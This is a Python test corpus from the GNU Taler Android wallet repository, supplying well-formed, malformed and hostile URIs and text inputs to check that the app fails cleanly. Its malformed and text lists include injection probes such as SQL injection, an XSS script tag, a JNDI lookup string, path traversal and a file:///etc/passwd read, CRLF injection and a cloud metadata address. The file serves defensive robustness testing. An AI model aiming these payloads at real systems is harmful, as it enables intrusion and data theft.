taler-android

Android apps for GNU Taler (wallet, PoS, cashier)
Log | Files | Refs | README | LICENSE

uris.py (8163B)


      1 # This file is part of GNU Taler
      2 # (C) 2026 Taler Systems S.A.
      3 #
      4 # GNU Taler is free software; you can redistribute it and/or modify it under the
      5 # terms of the GNU General Public License as published by the Free Software
      6 # Foundation; either version 3, or (at your option) any later version.
      7 #
      8 # GNU Taler is distributed in the hope that it will be useful, but WITHOUT ANY
      9 # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
     10 # A PARTICULAR PURPOSE.  See the GNU General Public License for more details.
     11 #
     12 # You should have received a copy of the GNU General Public License along with
     13 # GNU Taler; see the file COPYING.  If not, see <http://www.gnu.org/licenses/>
     14 """Corpus of URIs to feed the wallet, by QR code or shared text.
     15 
     16 Three kinds live here:
     17 
     18 * STRUCTURAL   — well-formed URIs of every action the wallet claims to handle,
     19                  pointing at the local stack but at ids that do not exist.  The
     20                  wallet must report a clean error, not an internal one.
     21 * MALFORMED    — syntactically broken or hostile input.  Nothing here may crash
     22                  the app or reach an "internal error" screen.
     23 * TEMPLATES    — formats a scenario fills in with live ids, to test the
     24                  *semantically* wrong cases (already paid, aborted, expired).
     25 
     26 A value may legitimately be rejected; what matters is *how*.  The oracle looks
     27 for crashes, internal/unexpected error codes and hangs, not for success.
     28 """
     29 
     30 from __future__ import annotations
     31 
     32 # A 52-character Crockford base32 string, the shape of most Taler identifiers.
     33 FAKE_ID = "A" * 52
     34 EXCHANGE = "localhost:8081"
     35 MERCHANT = "localhost:8080"
     36 BANK = "localhost:8082"
     37 
     38 STRUCTURAL: dict[str, str] = {
     39     "pay": f"taler+http://pay/{MERCHANT}/instances/sim/{FAKE_ID}/",
     40     "pay_with_token": f"taler+http://pay/{MERCHANT}/instances/sim/{FAKE_ID}/?c={FAKE_ID}",
     41     "withdraw": f"taler+http://withdraw/{BANK}/taler-integration/{FAKE_ID}",
     42     "withdraw_exchange": f"taler+http://withdraw-exchange/{EXCHANGE}/",
     43     "add_exchange": f"taler+http://add-exchange/{EXCHANGE}/",
     44     "pay_pull": f"taler+http://pay-pull/{EXCHANGE}/{FAKE_ID}",
     45     "pay_push": f"taler+http://pay-push/{EXCHANGE}/{FAKE_ID}",
     46     "refund": f"taler+http://refund/{MERCHANT}/instances/sim/{FAKE_ID}/",
     47     "pay_template": f"taler+http://pay-template/{MERCHANT}/instances/sim/template1",
     48     "reward": f"taler+http://reward/{MERCHANT}/instances/sim/{FAKE_ID}/",
     49     "payto_iban": "payto://iban/SANDBOXX/DE89370400440532013000?receiver-name=Test",
     50     "payto_x_taler_bank": f"payto://x-taler-bank/{BANK}/wallet1?receiver-name=Wallet",
     51     # The https forms the production app would see; they must fail on the
     52     # network, not in parsing.
     53     "pay_https": f"taler://pay/{MERCHANT}/instances/sim/{FAKE_ID}/",
     54     "withdraw_https": f"taler://withdraw/{BANK}/taler-integration/{FAKE_ID}",
     55     # Developer-mode entry points.  They are part of the app's URI surface and
     56     # an unknown one already drops the user on the home screen (see
     57     # dev-experiment-uri-exits-the-app.md), so the known ones belong here too.
     58     # Only the harmless ones: the others change how the wallet behaves for the
     59     # rest of the session, which a URI storm must not do to its own scenario.
     60     "dev_experiment_clear_api_errors": "taler+http://dev-experiment/clear-api-errors",
     61     "add_contact": f"taler+http://add-contact/email/friend@example.com/{EXCHANGE}/{FAKE_ID}",
     62 }
     63 
     64 MALFORMED: dict[str, str] = {
     65     "empty": "",
     66     "whitespace": "   \t  ",
     67     "scheme_only": "taler://",
     68     "scheme_no_slash": "taler:",
     69     "unknown_action": f"taler+http://frobnicate/{EXCHANGE}/{FAKE_ID}",
     70     "wrong_scheme": f"gnunet://pay/{MERCHANT}/{FAKE_ID}/",
     71     "http_url": f"http://{MERCHANT}/instances/sim/orders/{FAKE_ID}",
     72     "javascript": "javascript:alert(1)",
     73     "file_uri": "file:///etc/passwd",
     74     "intent_uri": "intent://scan/#Intent;scheme=taler;package=net.taler.wallet;end",
     75     "content_uri": "content://net.taler.wallet.fdroid.debug.fileprovider/db/wallet.sqlite3",
     76     "uppercase": f"TALER+HTTP://PAY/{MERCHANT}/INSTANCES/SIM/{FAKE_ID}/",
     77     "ext_prefix": f"ext+taler://pay/{MERCHANT}/instances/sim/{FAKE_ID}/",
     78     "double_scheme": f"taler://taler://pay/{MERCHANT}/{FAKE_ID}/",
     79     "no_host": f"taler+http://pay//instances/sim/{FAKE_ID}/",
     80     "missing_id": f"taler+http://pay/{MERCHANT}/instances/sim/",
     81     "truncated_id": f"taler+http://pay/{MERCHANT}/instances/sim/{'A' * 7}/",
     82     # I, L, O and U are not in the Crockford alphabet Taler uses.
     83     "bad_base32": f"taler+http://pay/{MERCHANT}/instances/sim/{'ILOU' * 13}/",
     84     "id_too_long": f"taler+http://pay/{MERCHANT}/instances/sim/{'A' * 5000}/",
     85     "path_traversal": f"taler+http://pay/{MERCHANT}/../../etc/passwd/{FAKE_ID}/",
     86     "double_encoded": f"taler+http://pay/{MERCHANT}/instances/sim/%2541%2541/",
     87     "percent_broken": f"taler+http://pay/{MERCHANT}/instances/sim/%ZZ/",
     88     "null_byte": f"taler+http://pay/{MERCHANT}/instances/sim/{FAKE_ID}\x00/",
     89     "newline": f"taler+http://pay/{MERCHANT}/instances/sim/{FAKE_ID}\n/",
     90     "crlf_header": f"taler+http://pay/{MERCHANT}/\r\nX-Evil: 1/{FAKE_ID}/",
     91     "unicode": f"taler+http://pay/{MERCHANT}/instances/sim/日本語テスト/",
     92     "rtl_override": f"taler+http://pay/{MERCHANT}/instances/‮sim/{FAKE_ID}/",
     93     "emoji": "taler+http://pay/localhost:8080/instances/🎉/🎉/",
     94     "huge": "taler+http://pay/" + "a" * 10000,
     95     "many_params": f"taler+http://pay/{MERCHANT}/instances/sim/{FAKE_ID}/?"
     96                    + "&".join(f"p{i}=1" for i in range(500)),
     97     "port_overflow": f"taler+http://pay/localhost:99999/instances/sim/{FAKE_ID}/",
     98     "port_negative": f"taler+http://pay/localhost:-1/instances/sim/{FAKE_ID}/",
     99     "ipv6_host": f"taler+http://pay/[::1]:8080/instances/sim/{FAKE_ID}/",
    100     "credentials_host": f"taler+http://pay/user:pw@{MERCHANT}/instances/sim/{FAKE_ID}/",
    101     "private_host": f"taler+http://pay/169.254.169.254/instances/sim/{FAKE_ID}/",
    102     "payto_no_target": "payto://iban/",
    103     "payto_unknown_method": f"payto://frobnicate/{FAKE_ID}",
    104     "payto_bad_amount": "payto://iban/SANDBOXX/DE89370400440532013000?amount=EUR:-1",
    105     "payto_huge_amount": "payto://iban/SANDBOXX/DE89370400440532013000?amount=EUR:"
    106                          + "9" * 40,
    107 }
    108 
    109 # Formats a scenario fills in once it has live identifiers; the interesting
    110 # cases are the ones that are perfectly well-formed but semantically stale.
    111 TEMPLATES: dict[str, str] = {
    112     "pay": "taler+http://pay/{merchant}/instances/{instance}/{order_id}/?c={token}",
    113     "withdraw": "taler+http://withdraw/{bank}/taler-integration/{withdrawal_id}",
    114     "refund": "taler+http://refund/{merchant}/instances/{instance}/{order_id}/",
    115     "pay_pull": "taler+http://pay-pull/{exchange}/{contract_id}",
    116     "pay_push": "taler+http://pay-push/{exchange}/{contract_id}",
    117 }
    118 
    119 # Text fed into amount and free-text fields; the amount parser and Amount's own
    120 # overflow rules are the target.
    121 TEXT_INPUTS: list[str] = [
    122     "", " ", "0", "0.00", "-1", "-0.01", "+5",
    123     "1e10", "1E308", "0x10", "٠١٢", "1,50", "1.5.5", "1..5",
    124     "999999999999999999999999",          # beyond Amount's value range
    125     "9007199254740993",                  # beyond 2^53
    126     "0.000000001",                       # below the smallest fraction
    127     "10.123456789",                      # more fraction digits than allowed
    128     "EUR:10", "10 EUR", "KUDOS:10",      # currency where a number is expected
    129     "NaN", "Infinity", "null", "undefined",
    130     "'; DROP TABLE coins; --",
    131     "<script>alert(1)</script>",
    132     "${jndi:ldap://x/y}",
    133     "%s%s%s%n",
    134     "‮RTL", "🎉🎉🎉", "日本語",
    135     "A" * 2000,
    136 ]
    137 
    138 
    139 def all_uris() -> dict[str, str]:
    140     """Everything that can be fired without live state."""
    141     return {**{f"structural/{k}": v for k, v in STRUCTURAL.items()},
    142             **{f"malformed/{k}": v for k, v in MALFORMED.items()}}
    143 
    144 
    145 if __name__ == "__main__":
    146     for name, uri in all_uris().items():
    147         shown = uri if len(uri) <= 90 else uri[:87] + "..."
    148         print(f"{name:34} {shown!r}")
    149     print(f"\n{len(all_uris())} URIs, {len(TEXT_INPUTS)} text inputs, "
    150           f"{len(TEMPLATES)} templates")